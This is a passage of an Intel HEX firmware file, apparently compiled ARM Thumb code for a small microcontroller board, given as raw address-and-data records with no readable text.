68BA5A002A0CD00121E8\n:10699000039A19808242E6D8029AA0680121002A4F\n:1069A00008D101806160B8E70131D4E71988002976\n:1069B000B3D0F1E70091029A0100FFF7F0FC6060AC\n:1069C000ABE773B553680C0049680600150099429F\n:1069D00006D308D89268A068FFF785FD002802DA80\n:1069E00023002C001D0023782A7861685340DB07C0\n:1069F00015D401313000FFF733FD6B68B0680093A8\n:106A0000AB686268A168FFF7CAFC01217060237857\n:106A1000DB07DA0F33788B431343337073BD3000D9\n:106A2000FFF71EFD6B68B0680093AB686268A168F1\n:106A3000FFF7E7FCE9E7F7B553680C004968060083\n:106A40001500994208D30027994209D89268A06896\n:106A5000FFF749FDB84203DA230001272C001D008F\n:106A600023782A7861685340DB0719D5013130005B\n:106A7000FFF7F6FC6B68B0680093AB686268A168CA\n:106A8000FFF78DFC70602378DB07DB0F002F01D050\n:106A900001225340012132788A4313433370F7BDFA\n:106AA0003000FFF7DDFC6B68B0680093AB6862688C\n:106AB000A168FFF7A6FCE5E7F0B54B681600526841\n:106AC0008BB005000C00934201D234000E0001216E\n:106AD000227863680A4201D132781140C91828002F\n:106AE000FFF7BEFCA3682178039363687268019383\n:106AF000B368347804930B0000266340A868B4465A\n:106B0000DB0702D4CB07DB0F9C46C907CB0F1E0067\n:106B10000293634607005B429BB2E407079373420C\n:106B2000E40F9BB20893019963429BB20693531AF8\n:106B300005940993002914D1019B5900634641181B\n:106B4000002B02D001230B800231FFF7FFFB012253\n:106B5000029B68601C402B7893431C432C700BB045\n:106B6000F0BD039B089A1B88013953409E19099B6D\n:106B7000069A5B18994206D3049B1A88069B5A40D2\n:106B8000049B02330493059BD318079A0593334063\n:106B900053409BB263443B801B0C059A9C46039B6D\n:106BA000120C02330592360C02370393C2E7F0B59C\n:106BB0004B68160052688BB005000C00934201D25E\n:106BC00034000E000121227863680A4201D1327834\n:106BD0001140C9182800FFF743FCA36821780293ED\n:106BE0006368A8680093B3687268039301233478DC\n:106BF000194200D12340C907C90F0E00E407E40F72\n:106C0000A4460191594289B20791714289B2089113\n:106C1000614289B2069100990490521A09920029A2\n:106C20000ED1009B59004118FFF790FB0122019BF8\n:106C3000686023432C7894431C432C700BB0F0BD48\n:106C4000029A089F128801397A409619099A5218B7\n:106C50001700069AB94206D3039A069F12887A4013\n:106C6000039F023703973700624405921743079A40\n:106C7000360C5740BAB29446049A63441380059A7E\n:106C80001B0C120C9446049A02320492029A0232AD\n:106C90000292C4E7F0B54B6889B004000E001500FD\n:106CA000002B02D05368002B03D10023636009B08E\n:106CB000F0BD814238D10800FFF7EAFB06000090E2\n:106CC000A54200D1050073686A6820009918FFF793\n:106CD000C7FB236800219A085200A06802F077FCE5\n:106CE000A3680393B368039A059373680493AB682E\n:106CF00001936B689C46049B5B00D1185B42069332\n:106D000000236046069A8A1800283BD1012163605F\n:106D100033782A7800985A4023780A408B431343EB\n:106D20002370FFF7F8FBC2E7002300938242CAD129\n:106D30001000FFF7ADFB05000090C4E71388DB19D6\n:106D40000793038802301F00019B1B887B43079F2A\n:106D5000DF19029B1780013B3F0C02930232029B1A\n:106D6000002BEBD10B00002F01D00F808B1C039A5E\n:106D700002319B1A012252429444019A5B10023262\n:106D80000192BEE7049B059802930027E7E7F8B558\n:106D90004B6807001500002B03D001241378234211\n:106DA00002D000237B60F8BD5368002B03D1210083\n:106DB000FFF7BBFBF7E70800FFF76AFB06002800B8\n:106DC000FFF766FB210005003800FFF7AEFB6B689C\n:106DD000002B11D0AB681B88234204D0320039004D\n:106DE0003800FFF757FFA96823006A680800FFF71B\n:106DF000B7FA6860002806D13000FFF78CFB280046\n:106E0000FFF789FBCFE7320031003000FFF742FF88\n:106E1000DDE7816843680200002010B55B00CB18F5\n:106E2000023B9C1CA14204D31378DB0700D54042EF\n:106E300010BD1C8800042043F2E7F0B587B0039131\n:106E400004921D00002901D0049A9D180024826834\n:106E5000260000924268019201220292019A002AC1\n:106E600026D0009A24041188049A10369A180C43EC\n:106E70000592072E06DC009A02320092019A013A2E\n:106E80000192EBE701270278A1B23A4207D0FF2234\n:106E90008A431100029A891889B20A0A0292039A57\n:106EA000C9B2002A06D06A1E94461170934207D1D7\n:106EB00007B0F0BD6A1C9446059A29709445F7D036\n:106EC000083E240A6546D4E7F8B58668436805009D\n:106ED00000205C003419023CA31C9E4206D32B7890\n:106EE000DB0702D580231B06C018F8BD8F21C9051A\n:106EF000F4F718FB071C2088F4F704FE391CF3F79D\n:106F0000C3FFE8E7F0B589B007930EAB1B780F9F7E\n:106F10000600069114000393381E05D00B00023BB7\n:106F20001E2B03D90020387009B0F0BD7568002D04\n:106F300011D13B00002A09D1302303700023013016\n:106F40000370C01BF0E71A70013401332278180077\n:106F5000002AF8D1F0E76D002800FBF724F82A009A\n:106F6000B168029002F017FB029B04975B1905932E\n:106F7000079B01973A3B07930021059D029B023D29\n:106F8000AB4212D93031392901D9079BC918019B6D\n:106F90005D1C1970029B059A93420ED3039B002B34\n:106FA0002BD001231EE00195E6E728880904084359\n:106FB0000699F3F7F7FC2880E0E71A88002A0DD13C\n:106FC0000233E8E7013802781A7001331FE01178C4\n:106FD0001878013B10705970013223E0039B002B9D\n:106FE000E1D00023049AAA1A032A04D1019A039932\n:106FF000951C51700495002BD5D00298FBF702F830\n:10700000002C07D0200002F036FB2B0020181D00BA\n:10701000A042D7D83378DB0702D52D232B7001355A\n:107020003A006B1E9A42D2D30023E81B2B707BE7F9\n:1070300010B54368984710BD70B500221E2B02D9C9\n:107040001A001E3AD2B2E2258418ED0064192478A1\n:10705000551CEDB27F2C12D0E22664188518F6007C\n:10706000E4B2AD192C700132D2B2934209D0E226BB\n:107070008518F600AD192D78FF2DF4D0ECE72A0025\n:10708000E1E770BD01204042704730B50100036860\n:107090007F2500201A78C001140052B22C402043F2\n:1070A0000133002AF6DB0B6030BD07B5019001A863\n:1070B000FFF7EBFF0EBD0023C3560130002BFADBB8\n:1070C000704710B51020FAF780FF0722037893432A\n:1070D0001A0001231343037010BD70B50400237818\n:1070E00008005B07150061685B0F052B0BD1236857\n:1070F000E268D802400DEDF7FBFF23889B0601D51F\n:10710000DDF7F4FC70BD0A00A3682900EDF7C2FFAB\n:10711000F3E770B50C0080214900214015000A1EDC\n:1071200001D06A682968FFF7D8FF0223E2091A40F4\n:107130009A40E1B2AA18DCF7FBFE70BD13B504005B\n:1071400008001100002213000092DBF7F7F86368D3\n:10715000984716BD37B51C00002305000093013386\n:10716000080011001A00DBF7E9F86B6820689847FF\n:107170003EBD37B51C000023050000930233080014\n:1071800011001A00DBF7DAF803CC6B6898473EBDB4\n:1071900037B51C00002305000093033308001100DD\n:1071A0001A00DBF7CBF807CC6B6898473EBDF0B50B\n:1071B0001D0000230F000600012485B000934368E2\n:1071C000110038001A00DBF7B9F8B3681C43002F30\n:1071D00005D1A047F168E5F7F3FA05B0F0BD2868DE\n:1071E000012F03D1EDF7F0FEA047F3E7022F09D1FD\n:1071F000EDF7EAFE07006868EDF7E6FE01003800EB\n:10720000A047E7E7032F0ED1EDF7DEFE0700686821\n:10721000EDF7DAFE0290A868EDF7D6FE02990200BB\n:107220003800A047D6E7EDF7CFFE07006868EDF716\n:10723000CBFE0290A868EDF7C7FE0390E868EDF773\n:10724000C3FE039A030002993800A047C2E7F0B5D5\n:107250000D001700040001798288C90787B0C90FA3\n:107260001E005208C388009128003900DBF766F839\n:107270002379DB070CD5AA00B218390003A800F067\n:107280005DFBA36803AA31002800984707B0F0BD52\n:10729000A368310028009847F8E710B5FFF70BFF07\n:1072A000FFF703FF10BD10B58068FFF704FFFFF77D\n:1072B00002FF0430FFF7F1FF10BD10B503785AB29A\n:1072C000002A0BDA7F2213403F3A1A4208D13F21AD\n:1072D0000130027814008C43802C04D0180010BDBB\n:1072E00093435208F1E79B010A4001301343F0E752\n:1072F0003F22013003789343802B00D07047013048\n:10730000F8E730B500223F24814201D8100030BD9B\n:1073100001390B78A343803B5D1EAB41D218F3E7E4\n:1073200030B5020041183F2400208A4200D330BD0E\n:1073300013780132A343803B5D1EAB41C018F4E7D4\n:1073400010B50400EDF724FF002800D02034200001\n:1073500010BD10B50400EDF727FF002800D0203C39\n:10736000200010BD3038092802D92023984307385F\n:10737000704710B5022901D100F0C9FB10BD10B54E\n:10738000040002F078F901002000DFF72FFCFF383D\n:10739000431E9841400010BDFEE7704770B50500E0\n:1073A00043680120C9182B68060099420FD92B7B2E\n:1073B0000340002083420AD107231031994308314A\n:1073C000A8680C00FAF70DFEA86030002C6070BDB4\n:1073D00070B50E00110004001500FFF7DFFF002854\n:1073E00007D1237BDB070ED563682568AB420AD241\n:1073F000ED1AA3686268310098182A0002F0D4F8E8\n:1074000063685D19656070BD10B50400002900D186\n:1074100001310023216063600800FAF7C4FD0122F6\n:10742000237BA0609343237310BD70B50D0004004F\n:107430000131FFF7E9FF656070BD00238260027BC8\n:10744000436001331343016003737047037B10B53E\n:107450000400DB0702D48068FAF7D4FD0023A360A0\n:1074600010BD027B70B5002304000D00D20709D4C3\n:1074700003688068C918FAF7B4FD2168A060431852\n:1074800049192160180070BD70B504000D00FFF7A8\n:1074900085FF031E04D06168A3685B184919616009\n:1074A000180070BD0368426810B50400934205D00F\n:1074B0000023A26861685354A06810BD0121FFF742\n:1074C000D0FF0028F4D1F8E710B50C000121FFF738\n:1074D000DBFF002800D0047010BD70B50500080067\n:1074E0000C0002F0C8F8210002002800FFF770FF2E\n:1074F00070BDF8B546680400170035008E4200D90B\n:107500000D00002F0FD039002000FFF747FF0028A3\n:107510000BD0A0687B194119721BC01802F044F807\n:107520006368DF196760A0684019F8BD10B51400E2\n:107530000122FFF7DEFF002800D0047010BD10B557\n:1075400014000122FFF7D5FF002800D0047010BD01\n:10755000426800238A4200D3531A4360704770B5D3\n:107560001500426804008A4203D94B199A4201D897\n:10757000416070BD8068D21AC3184018190002F02B\n:1075800013F863685D1B6560F3E710B5040002F053\n:1075900072F801002000EEF7ABF810BD70B50500E1\n:1075A00003300C00FAF7FFFC2060457020680230C1\n:1075B00070BDF8B54578871C040029003800EEF747\n:1075C00065F8061E0CD129003800EEF741F8651960\n:1075D0002070AE702000EEF70FF806003000F8BD06\n:1075E0002000FAF70FFDF9E710B5EDF7F3FF00788B\n:1075F00010BD10B5EDF7EEFF407810BD10B5EDF7FA\n:10760000E9FF023010BD10B50C00EDF7E3FF437841\n:107610000230236010BD10B5EFF7D6FB4300012008\n:10762000184310BD10B50400EEF784F92000602166\n:1076300001F04FFF200010BD10B5040002F01BF850\n:1076400001002000EEF7E4F910BD10B501F0CEFD09\n:1076500010BDD0B5041E0FD0EFF7B6FB06000F002B\n:10766000EFF7B2FB801BB941002905D1844203D951\n:10767000E4F7C6FA30BFF3E7D0BD10B5F3F74CF826\n:1076800010BD10B5EFF7A0FB10BD10B50021D9F764\n:10769000D7F910BD3E2307B50022019069460220AC\n:1076A0000093E2F7E3FE0EBD10B50A0001000C20C6\n:1076B000D9F7F0FD10BD10B5020036210A20D9F728\n:1076C000E9FD10BD10B502002E210A20D9F7E2FD18\n:1076D00010BD30B50B0085B00400012800D04C6807\n:1076E00069461868D9F7ACF905002800D9F70AFAF5\n:1076F000021E02D1200005B030BD21000520D9F7BF\n:10770000C9FD0400F1E710B501000220D9F730F8F7\n:1077100010BD10B51A23EEF7BBFA10BD10B5192332\n:10772000EEF7B6FA10BD8368C268934203D25A1CC2\n:1077300082601878704701204042FBE7036810B56B\n:107740000400002B02D04068FAF75CFC2000FAF736\n:1077500059FC10BD02690123272A21D0222A1FD0FB\n:10776000752A04D011000F339943622912D141695F\n:107770000123272914D0222912D0722A0AD10023EA\n:1077800062290DD180690123272809D0223843427C\n:10779000434105E00023622A02D14269722AF1D0F6\n:1077A00018007047026910B504000A2A22D1C36983\n:1077B0000133C36101232362636960682361A369A4\n:1077C0006361A36898476369A0610D2B07D1033BF0\n:1077D0006361984203D16068A3689847A061A36978\n:1077E000013306D163695A1C03D00A2B01D00A2346\n:1077F000A36110BD036A092A02D10733023A9343F9\n:107800000133D8E7F8B504000E00002501272069F0\n:10781000431C01D12800F8BD0A2809D1002E02D04E\n:10782000A36A002BF6D02000FFF7BCFF3D00EEE777\n:10783000EDF76EFC002803D02000FFF7B3FFE6E76A\n:107840002369232B08D12000FFF7ACFF23695A1CC2\n:10785000DDD00A2BF7D1DAE75C2BDBD163690A2B89\n:10786000D8D12000FFF79EFFE6E77FB50600542041\n:10787000019102920393FAF796FB030001AD40C316\n:10788000040007CD07C302220025012352422262D1\n:107890000C32E262E36123636562A5621420FAF7A9\n:1078A00082FB6063200020214430FFF7ADFD636B55\n:1078B00020001D80A56165612561FFF773FF200031\n:1078C000FFF770FF2000FFF76DFF2000EEF7B8FC18\n:1078D000E36B012B03D02300052240331A702000F4\n:1078E00004B070BD1FB5040001A8EEF791FC01992A\n:1078F000029A039B2000FFF7B8FF04B010BD10B53B\n:10790000041E0CD0E3684068984720004430FFF71D\n:107910009DFD606BFAF776FB2000FAF773FB10BD54\n:1079200010B504004160002903D181600123236068\n:1079300010BDC800FAF749FBA060F7E7072310B5B0\n:107940004160CC0001688260194021430160C9B2E6\n:1079500099431943017010BD037810B504009B07CB\n:1079600002D48068FAF74EFB042223681A400123F0\n:107970001343236000236360A36010BD002310B590\n:107980000400016043608800FAF71FFBA06010BD8F\n:10799000F0B5036887B004000F000292002B04D1F9\n:1079A0001300DB075FD5EFF741F839000220D8F765\n:1079B000DFFE4310180021680593F2F7F3FF00265D\n:1079C0000391039B0193019B9B000493049AA3687A\n:1079D0009B181D68002D0BD1029AD20743D5002EAB\n:1079E00000D11E006368013363603D0037602FE003\n:1079F000042D14D1002E00D11E0001982168013001\n:107A0000F2F7D0FF039B01918B42DCD10122029B54\n:107A1000134228D0002E20D063689B18E4E7390079\n:107A20002800E4F77DFF0028E7D0029B9B070FD5D5\n:107A300063680198013B6360A768049B013021687B\n:107A4000FE18F2F7AFFF8900CB59002B03D133604A\n:107A5000280007B0F0BD0423F9E72000EEF7E6FFA9\n:107A600021680598A9E70025F2E7002370B50168B1\n:107A7000994201D1002513E086689C0034192568DD\n:107A80000133002DF4D0042DF2D04268013A426057\n:107A90001800F2F787FF89008B59002B02D1236071\n:107AA000280070BD0423FAE710B504008068FAF7D7\n:107AB000A9FA002323606360A36010BD7FB40C1C8F\n:107AC00003265643351CA0230C21DB0305331B0280\n:107AD0005A180833011CEFF3108640B472B608E060\n:107AE0001960064200D11160760807D10134013DCA\n:107AF00005D08026C04611602078F1E7FBE71160D1\n:107B000040BC86F310887FBC70470020704710B5DA\n:107B1000EEF7BCFF10B50400006800F087F8200005\n:107B200010BD70B5060008000D0001F0A4FD0400B2\n:107B30000530F1F7CFFA306000F06AF833682900B9\n:107B40005C803068621C043001F025FD70BD70B5AA\n:107B50000B68040000680D00984205D000F066F83C\n:107B60002868206000F057F8200070BD002210B592\n:107B7000914206DB03680224185F884201DD5B182E\n:107B80001A79100010BD002310B503600400EFF750\n:107B900029F9A060E160200010BD70B5018042802D\n:107BA00004001D00EFF71EF9A060E160002D02D077\n:107BB0002000EFF777F9200070BD10B504000068D1\n:107BC00000F034F8200010BDF8B5D443E417144099\n:107BD000050020000C301F000E00F1F77BFA286032\n:107BE00000F016F82B681C722B685F60002E05D021\n:107BF000286822000930310001F0CDFCF8BD0023D7\n:107C000010B504000A001900FFF7DEFF200010BDC8\n:107C100003230380704710B504000088EFF768F96C\n:107C2000002802D123880233238010BD10B5040040\n:107C30000088EFF75DF9002805D12388023B9BB24D\n:107C4000012B01D0238010BD2000F1F777FAFAE76D\n:107C500070477047036870B5040001811B6A98473C\n:107C6000236805005B69200098472081280070BDCB\n:107C700000897047036870B5040081721B6A9847D9\n:107C800023680500DB6920009847A072280070BDBA\n:107C9000807A70477047704710B50400102101F0DA\n:107CA00018FC200010BD10B50400442101F011FCA7\n:107CB000200010BDC3680169426949435B435243D8\n:107CC0005B18981870477FB50400FFF7F3FF250095\n:107CD000902306001B04313598422AD9638F002B6C\n:107CE00007D1013308221B216846FFF756FF012305\n:107CF000638790239B049E420AD9A38F002B07D150\n:107D0000013309221B216846FFF747FF0123A387A0\n:107D10008023DB049E420AD9E38F002B07D1013375\n:107D20000A221B216846FFF738FF0123E38700235F\n:107D30002B702B78042B0ED801332B702000EFF71B\n:107D4000C9F902000B280AD1628601231B2168466B\n:107D5000FFF723FF14E000236387E363EEE72300CC\n:107D6000A18E303381420CD11A78042A01D8013215\n:107D70001A70A28E618E914202D01B78042BE3D838\n:107D80007FBDA0860022F3E730B50400036A8BB004\n:107D9000009302AD416A8269C369280000F051FF77\n:107DA00023000C3307CD07C30222A379200093439D\n:107DB000A371FFF788FF0123A1881A0006A8FFF727\n:107DC000ECFE00200BB030BD70B505000B680C0058\n:107DD00008005B6A98472B000C3407CC07C32800C7\n:107DE00070BD10B5040003685B6A9847E06810BD79\n:107DF00010B5040003685B6A9847206910BD10B590\n:107E0000040003685B6A9847606910BD10B5040000\n:107E100003685B6A9847A3799B0702D42000EFF7B9\n:107E200023FAA06A10BD10B5040003685B6A984786\n:107E3000A3799B0702D42000EFF716FAE06A10BD81\n:107E4000408E7047036870B5040001811B69984734\n:107E5000236805009B69200098472081280070BD99\n:107E600000897047704710B50400482101F031FBCC\n:107E7000200010BD30B50400436BC26801699A1A36\n:107E800083698BB05A43836B92125B1AC169426358\n:107E90004B439B128363C16B406902AD091A206A90\n:107EA00041438912E16300912800216C00F0C9FE72\n:107EB0002300283307CD07C30123A1881A0006A891\n:107EC000FFF76BFE00200BB030BD002310B58371AF\n:107ED000643303810368040081801B699847022290\n:107EE000A37993431A0001231343A37110BD84B0F7\n:107EF00030B5069303000491059204AC0C3326CCF4\n:107F000026C326CC26C322681A6002238279134333\n:107F1000837130BC08BC04B01847030030B50C3185\n:107F200034C934C334C934C30A681A6030BD02236B\n:107F30008079184070470423807918407047802268\n:107F40000023D2008261C26102620222C360036127\n:107F500043614362837993438371704741647047FF\n:107F600073B50C00050016000B680800DB69984724\n:107F7000E36B280001960093626BA36B216C00F009\n:107F800021FE280076BD70B505000B680C000800C6\n:107F9000DB6998472B00283407CC07C3280070BD45\n:107FA000F0B587B0010003A8FFF7EDFF0398F5F7E0\n:107FB000E7FB040004980D00F5F7E2FB06000598C6\n:107FC0000F00F5F7DDFB2200009001912B0020004F\n:107FD0002900F4F791FD320004000D003B00300051\n:107FE0003900F4F789FD02000B0020002900F3F7A7\n:107FF00013FE009A019B04000D0010001900F4F715\n:108000007BFD02000B0020002900F3F705FEF6F7C8\n:108010006BF8F5F77FFB07B0F0BD10B504000368FF\n:10802000DB699847A06A10BD10B504000368DB69DE\n:108030009847E06A10BD10B504000368DB699847F3\n:10804000206B10BD82B030B5050085B0089202A843\n:108050000822099301F09FFA039B029C5A10AD1865\n:10806000DB0701D52B681C590AA90822684601F0D4\n:1080700092FA089A099B2800A04705B030BC08BCBA\n:1080800002B01847F8B50A6803680E000700981A8E\n:10809000F3F738FD72687B68051C981AF3F732FD18\n:1080A000B368041CB868C01AF3F72CFD291C061C21\n:1080B000281CF3F737FA211C051C201CF3F732FAB1\n:1080C000011C281CF2F7E0FE311C041C301CF3F7E5\n:1080D00029FA011C201CF2F7D7FEF8BDF0B585B0D7\n:1080E000019002910392FFF7CDFF0127041C061CAB\n:1080F000039B9F4217DA0C217943029B0198591880\n:10810000FFF7C0FF051C011C201CF2F79FFD002893\n:1081100000D02C1C291C301CF2F784FD002800D054\n:108120002E1C0137E4E7211C301CF3F711FB05B0CE\n:10813000F0BDF0B58BB009938023DB000024C36051\n:1081400003614361002305000C2707910892046036\n:108150004460846084610293119B9C4265DB00272C\n:108160000023109C0593019700973E1C059B119AD4\n:10817000934270DA210007A8FFF784FFF6F752F95F\n:10818000011C03900298F2F7F7FFFE218905F3F72F\n:10819000DFFA0490301CF3F795FC06000498F3F71F\n:1081A00091FC864200DA06003000F3F7ABFC23684E\n:1081B000079A061C981AF3F7A5FC0399F2F7DCFF5F\n:1081C000400004994008F3F7ADF9011C0098F2F75C\n:1081D0005BFE089B00900693069A6368981AF3F773\n:1081E00091FC0399F2F7C8FF400004994008F3F7A7\n:1081F00099F9011C0198F2F747FEA36801900998CC\n:108200000C34181AF3F77EFC0399F2F7B5FF40001F\n:1082100004994008F3F786F9011C381CF2F734FE84\n:10822000059B071C01330593A0E739006143109BB0\n:1082300007A85918FFF726FFF6F7F4F8F3F742FC02\n:10824000F3F760FC0299061CF2F700FD002800D04D\n:108250000296013480E70099081CF3F763F901994D\n:10826000041C081CF3F75EF9011C201CF2F70CFE3D\n:10827000391C041C381CF3F755F9011C201CF2F7BB\n:1082800003FEF6F7CFF8041C011C0098F2F774FF08\n:10829000311CF3F747F9FE218905F2F7F5FD892135\n:1082A000C905F3F73FF9F3F70DFC211CE8600198CD\n:1082B000F2F762FF311CF3F735F9FE218905F2F779\n:1082C000E3FD8921C905F3F72DF9F3F7FBFB211C29\n:1082D0002861381CF2F750FF311CF3F723F9FE2117\n:1082E0008905F2F7D1FD8921C905F3F71BF9F3F7E9\n:1082F000E9FB079B68612B60089B029800936B6009\n:10830000099BAB60F3F7DEFBA86128000BB0F0BD62\n:10831000F0B50025040017000B002E0028002A00ED\n:1083200091B00791BA4208DA1968013240185968C9\n:10833000761899680C336D18F4E73900F2F736FBBC\n:10834000390020603000F2F731FB3900606028000E\n:10835000F2F72CFB3A00A06007992000FFF7BEFE61\n:1083600000260DAB0A90059606960393C8235B4240\n:108370000493C8235B420293C8235B42019322000B\n:10838000039B23CA23C32268049B9446039A634435\n:10839000136062681D009446029B039A6344536015\n:1083A000A26808939446019B039A634493600799DB\n:1083B0003A0003980993FFF791FE0A990B90F2F7A0\n:1083C00031FC002805D0089B099E05930B9B069560\n:1083D0000A93019BC83301931A00C8235B009A4299\n:1083E000CDD1029BC83302939342C5D1049B029A1C\n:1083F000C83304939342BCD12368069A934206D1B2\n:108400006368059A934202D1A368B34205D0069BE4\n:10841000A6602360059B6360A8E7200011B0F0BD53\n:1084200070B504000D00160086B003A8FFF770FFBA\n:108430002000019600950399049A059BFFF779FEA9\n:10844000200006B070BD4A6810B55310C0180B6804\n:10845000D20701D50268D358984710BD10B5002146\n:10846000406C00F0A0FF10BD10B50400EFF78CFBCE\n:108470002000782101F02DF8200010BD10B5040077\n:10848000EFF774FB2000302101F023F8200010BD2D\n:1084900070B505000400743501212800F0F794FF41\n:1084A0002200563213780133DBB21370E1790131C7\n:1084B0008B4222D1002326001370226D54360221F4\n:1084C000525E33882021934205DA200019B25030E1\n:1084D000FFF74CFB0100E27900232800F0F72CFFA6\n:1084E000226D33880221525E934207DD2300002271\n:1084F00048331A702000EFF751FC70BD0133338010\n:10850000FBE770B505000600826D5C350221525E06\n:108510002B88040074362021934204DA19B25830B3\n:10852000FFF724FB0100002330001A00F0F704FFDE\n:10853000A26D2B880221525E934207DD23000022A8\n:1085400048331A702000EFF729FC70BD01332B80EF\n:10855000FBE773B50400060025007436300064356F\n:1085600000F097FB0023EA5E2100002360310093B6\n:10857000300000F09EFB002804D123006C331B78F0\n:10858000002B0AD16622A256002A06D02B886C3412\n:108590009B182B800123237073BD230000224833D6\n:1085A0001A702000EFF7FAFBF6E7F0B5060000219D\n:1085B000050004006636006E71564088643500235D\n:1085C000EA5E4B1D1B1A200085B06C3003909A4266\n:1085D00010DC0378002B0DD01C3D2B78062B02D12C\n:1085E000083000F056FB002320002B70EFF7D6FB7D\n:1085F00005B0F0BD27007437002A04DD494209B2F6\n:108600003800F0F7E1FE0023EA5E2100002360312C\n:108610000093380000F04DFB0023F356002B05D1EA\n:108620002200483213702000EFF7B8FB0123039AB1\n:10863000137000232A88F3569B182B80D8E770B557\n:10864000050048352B780400002B31D0EEF782FB73\n:1086500022004C3213881818230080B210804A334D\n:108660001B88834224D8002313802B78022B02D14D\n:108670002000FFF70DFF2B78032B02D12000FFF71E\n:1086800040FF2B78042B02D12000FFF762FF2B78EC\n:10869000052B02D02B78062B02D12000FFF785FF97\n:1086A0002B78072B04D1002320002B70EFF776FBEB\n:1086B00070BD1FB5036F827A9B68040001339A4234\n:1086C00008D18188012302226846FFF766FA002359\n:1086D000A3721FBDEFF7E8FA2000FFF7B0FFA37AFF\n:1086E0000133F5E710B583790400DB0704D5027B7D\n:1086F000022A02D1FFF7DDFF10BD837A016F01333B\n:10870000DBB2837289688B4201D100238372002A15\n:1087100002D12000EFF7C8FA237B012B05D1637348\n:1087200000232000A373EFF7A3F92000FFF787FFD2\n:10873000E2E7407A7047F0B5837987B004000D0016\n:10874000DB0703D5002903D007B0F0BD0029FBD01B\n:108750001023216F01278A68CB569818002298426F\n:1087600004DD3E009E4001333243F8E71123C86820\n:10877000CB56012700211818984204DD3E009E4088\n:1087800001333143F8E70A43002D09D001230021CA\n:1087900001A8F1F799FB0123A2791343A371D3E751\n:1087A0002B00290001A8F1F78FFB290001A800F098\n:1087B000C5FD0122A3799343F0E710B50121FFF72E\n:1087C000BAFF10BD10B50021FFF7B5FF10BD10B501\n:1087D000743000F05EFA10BD10B50400F0F7ACFF85\n:1087E00000232000237510BD1FB503AC6370002368\n:1087F0002270009322000233EFF76CFB04B010BD2F\n:108800001FB50F2401236C4400932300EFF772FB84\n:10881000002800D1207804B010BD4A6810B553106C\n:10882000C0180B68D20701D50268D358984710BD0D\n:1088300082B030B5050085B0089202A808220993DD\n:1088400000F0A9FE039B029C5A10AD18DB0701D56E\n:108850002B681C590AA90822684600F09CFE089A59\n:10886000099B2800A04705B030BC08BC02B01847DF\n:1088700070B504000D001822002100F0A8FE2900A8\n:10888000200000F023FC200070BD13B50C0001A8EF\n:10889000EFF740FE210001A8EFF74EFE13BD73B5C0\n:1088A0000D0014001E0001A8EFF734FE33002A006B\n:1088B000210001A8EFF776FE73BD802307B55B05A5\n:1088C000009101921A695B696946133B5A4302237E\n:1088D000FFF7E5FF07BD84B010B504928022039135\n:1088E000059352051369516952691139133A5A4374\n:1088F0004B430F99CB1AD21803A90C23FFF7CFFFD4\n:1089000010BC08BC04B018478023F7B55B051F698D\n:1089100001915D69EFF7F0FC0600041E22D03020C3\n:1089200000F0BEFD113D302200217D4304000027F0\n:1089300000F04DFE0835B7420DDA29003022200044\n:1089400000F029FE2100019800F08BFE002809D0DC\n:1089500030350137EFE7B74204D12000302100F075\n:10896000B8FD00242000FEBD10B509680431EFF702\n:10897000F3FC10BD29DF704728DF704710B503688E\n:108980005B6A984710BD10B50400EFF7CBFE2000DE\n:10899000A42100F09EFD200010BD10B5C9B20D222B\n:1089A000FFF72EFFC7384342584110BD10B503688A\n:1089B0005B6A984710BD10B50400EFF7DBFF20009D\n:1089C0005C2100F086FD200010BD10B5C9B20D225B\n:1089D000FFF716FF5A384342584110BD10B50368DF\n:1089E000DB69984710BD10B50400F0F739F8200096\n:1089F000602100F06EFD200010BD10B5C9B2072245\n:108A0000FFF7FEFEC4384342584110BD10B503685D\n:108A10005B6A984710BD10B50400F0F72FF92000ED\n:108A20005C2100F056FD200010BD10B5C9B20F2228\n:108A3000FFF7E6FE33384342584110BD10B50368D6\n:108A4000DB69984710BD10B50400F0F7CBF92000A2\n:108A5000602100F03EFD200010BD10B5C9B24F22CC\n:108A6000FFF7CEFE40384342584110BD72B60B6846\n:108A70000165002B05D143658365086062B67047C8\n:108A800013005A6D002AFBD1586583654265F5E7EE\n:108A9000036D002B0FD072B6826D436D002A0BD090\n:108AA0005365436D002B01D0826D9A6500234365A9\n:108AB0008365036562B67047026D1360F1E770B5B8\n:108AC0000500EFF30884C36B006C1C1B6B6C1B1A56\n:108AD0009C420CD91F2320349C43002801D0F0F77E\n:108AE0002DFB2000F0F7F6FA28640019686470BDC9\n:108AF00010B5F0F719FAF0F72FFAFAE7F0B5820897\n:108B0000830703D1031E02D11800F0BD0132541CAB\n:108B100072B6802621C93606854225D90368002B06\n:108B200002DB9B00C018F7E75B005B089900411867\n:108B30000F68002F08DA8D4206D931007F007F08C8\n:108B4000DB1919430160F1E7A342EAD302329A42EA\n:108B500003D292008218954209D803685B005B0833\n:108B6000036062B6031DCFE762B60023CCE7191B92\n:108B700080231B06043A0B4313600460F1E710B531\n:108B80000800F0F7A7FA10BD10B50800F0F7D6FA04\n:108B900010BD10B5838804009B0703D51821806899\n:108BA00000F097FC200010BD10B5F0F7EFFA406818\n:108BB00010BD10B5F0F7EAFA006810BD0170427000\n:108BC0004360704782B0F0B505920200069308AB8F\n:108BD0001B7805ACE0CCE0C2002B1ED04A78002AFE\n:108BE00005D0069A52424260079A524282604A6811\n:108BF000022A16D0032A1AD0012A04D10268416839\n:108C0000524201604260012B17D0022B05D143680C\n:108C10005B42436083685B428360F0BC08BC02B087\n:108C2000184702685242026042685242EAE74268CC\n:108C30000168524202604160E5E7426803680260F1\n:108C4000E7E782B037B50400180007930B78069267\n:108C50000193089B009303002000FFF7B3FF20005F\n:108C60003EBC08BC02B0184710B504000068FEF70F\n:108C7000DDFF200010BD10B50A00002100F0A7FCA8\n:108C800010BD10B5040008682060FEF7C4FF200086\n:108C900010BD10B500684388818806305943FFF73E\n:108CA000EAFF10BD10B504000023F0F7CFFA200052\n:108CB00010BDF0B587B003910CA9097807000491A5\n:108CC00001680020029149888C468A426FDA029935\n:108CD00089888B426BDA03980668708801901018B7\n:108CE00000900020009C844261DDB58858190590F1\n:108CF00000205C1984425ADD824205DA0098604502\n:108D000009DD6046009006E06046801A009004008D\n:108D100001988442F6DC002B2FDA059C8C4200DDA2\n:108D20000C00B01D0026D11755422940B34202DA8B\n:108D3000019D6E425E43029D761886190635111C10\n:108D4000002A00DA0021002209B2934201DD6246C6\n:108D50005A43049B51186D18002B1DD0002210009F\n:108D6000A24224DA002300998B420BDAF15C00293D\n:108D700001D0E95401300133F5E7CC1AAC42D0DD23\n